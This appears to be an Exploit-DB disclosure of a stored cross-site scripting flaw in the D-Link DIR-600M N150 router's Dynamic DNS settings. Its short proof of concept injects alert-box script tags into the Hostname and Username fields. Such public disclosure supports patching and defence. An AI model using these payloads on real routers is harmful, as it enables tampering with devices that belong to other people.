D-Link Dir-600M N150 - Cross-Site Scripting

EDB-ID:

45343

CVE:

N/A




Platform:

Hardware

Date:

2018-09-06


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

# Exploit Title: D-Link Dir-600M N150 - Cross-Site Scripting
# Date: 2018-09-06
# Exploit Author: PUNIT DARJI
# Vendor Homepage: www.dlink.co.in
# Hardware Link: https://amzn.to/2NUIniO
# Version: DIR-600M Firmware 3.01
# Tested on: Windows 7 ultimate
# CVE: N/A

#POC

Goto your Wifi Router Gateway [i.e: 192.168.X.X ip address of router]
Go to --> "Advance" --> "Dynamic DNS" --> "Hostname"
<script>alert("PSYCHO55")</script>
"Username" --> <script>alert("PunitDarji")</script>
and hit apply Refresh the page, and you will get the 2 pop-up first
"PSYCHO55" and second "PunitDarji".